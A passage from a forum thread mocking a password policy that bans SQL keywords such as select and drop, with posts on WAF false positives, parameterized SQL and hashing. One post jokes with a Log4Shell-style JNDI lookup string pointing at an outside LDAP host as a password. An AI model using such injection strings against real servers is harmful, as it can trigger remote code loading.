Optimistically, perhaps this requirement stems from an overzealous WAF
That would imply WAF gets to see unhashed passwords, so not good at all.
How would a WAF do its job if it can't see the request payload?
Password may not contain: select, insert, update, delete, drop
41–50 of 254 posts
Re: Password may not contain: select, insert, update, delete, drop
#42Obligatory meme-y "tell me you're not sanitizing input without telling me". Also not storing hashes of passwords, because then it wouldn't matter what the input is.
Thinking about it, it can also be that the input is sanitized a little too much.
Imagine the user uses "select_mypassword" as a password. The sanitizer kicks in and silently mangles your password, resulting in another password being stored than the one you entered, effectively locking you out. Or maybe it just fails with an obscure error because some overzealous countermeasure triggered. I wonder what using the EICAR file as a password would do btw.
Also, while the password may be stored properly (hashed), the password still transits in plaintext before it is stored or verified. So even with hashing, you can still be vulnerable to injection.
Re: Password may not contain: select, insert, update, delete, drop
#43Re: Password may not contain: select, insert, update, delete, drop
#44Phew. They’ll never catch me. My password is ${jndi:ldap://hunter2.com/totallylegit}
Nope - that's not a valid ldap URL - or even a valid domain, for that matter. Domains can only contain the ascii leters a-z and the digits 0-9 -- asterisks are not permitted; the only symbol permitted is a hyphen (and it cannot start or end with one).
Re: Password may not contain: select, insert, update, delete, drop
#45A few years ago I was working on some app that would use Wordpress API to post stuff. The customers had their own WP installation on various hosting with various "security" features. We had bug reports where posting to the blog failed and would post empty content, this security plugins would scan a big blog post and if it would find something like ".... select from " it would replace that POST parameter with an empty…
we had one a while back where a small number of requests were failing for a particular set of pages. We first spotted that all the urls contained 'select' (generally as part of a parameter name, like itemselect), so I went digging for WAF-like filters anywhere in the stack. I found that we had some ancient config in a proxy server from before we used a commercial waf that looked for `SELECT.*UNION` ... flicked back to the URLs and found they'd all also all had a parameter like 'company=credit+union'.
Facepalm, and ripped the code out, we had plenty of protection elsewhere
Re: Password may not contain: select, insert, update, delete, drop
#46I expect this will attract a lot of criticism, but I actually think it's a good idea, at least in some cases. There are a lot of people writing bad code and bad system architectures for their organizations. There are not enough people with the competence, organizational power, and time to catch what's bad and force change in those organizations. In the US you are probably forced to do business via many such terribly…
If an organization has such a password policy, that can be interpreted as the person in charge of setting this policy thinks their organization doesn't have enough people with the competence and organizational power to prevent SQL injection vulnerabilities. Which would reflect poorly on any institution, but especially a university (which should be a bastion of people with competence and organizational power).
As for common password advise, my take on your argument would be that we should all be using these keywords in our passwords to quickly surface these bugs, lest they be hidden and only used by attackers.
Re: Password may not contain: select, insert, update, delete, drop
#47Earlier quoted context omitted.
Parameterized SQL is your friend here.
Yeah, that's what's mapped in my head to "sanitizing input" in these cases, as it's the correct way to handle them. I should've unrolled my brain shortcut for the discussion.
Before Parameterized SQL was a thing, sanitizing was the thing. There’s a lot of escape_string() type of methods out there.
Re: Password may not contain: select, insert, update, delete, drop
#48Optimistically, perhaps this requirement stems from an overzealous WAF
That, or some poorly architectured "framework" or toolkit. Others in the comments see this as "proof" that the application has poor security. I don't think we can draw that conclusion. We can, however, draw the conclusion that some part of the stack is poorly implemented.
[deleted]
Re: Password may not contain: select, insert, update, delete, drop
#49Did someone have a Bobby Tables moment? https://bobby-tables.com/ In Oracle, you can't use a bind variable in setting a password on an account, so SQL injection is a more significant risk. I wrote some JavaScript and pl/sql to address that.
I hope that javascript filter runs on the server and not on the web browser...
The php runs on the server, and does the same thing.
The JavaScript posts excessive status messages, and only allows a submit when all checks have passed.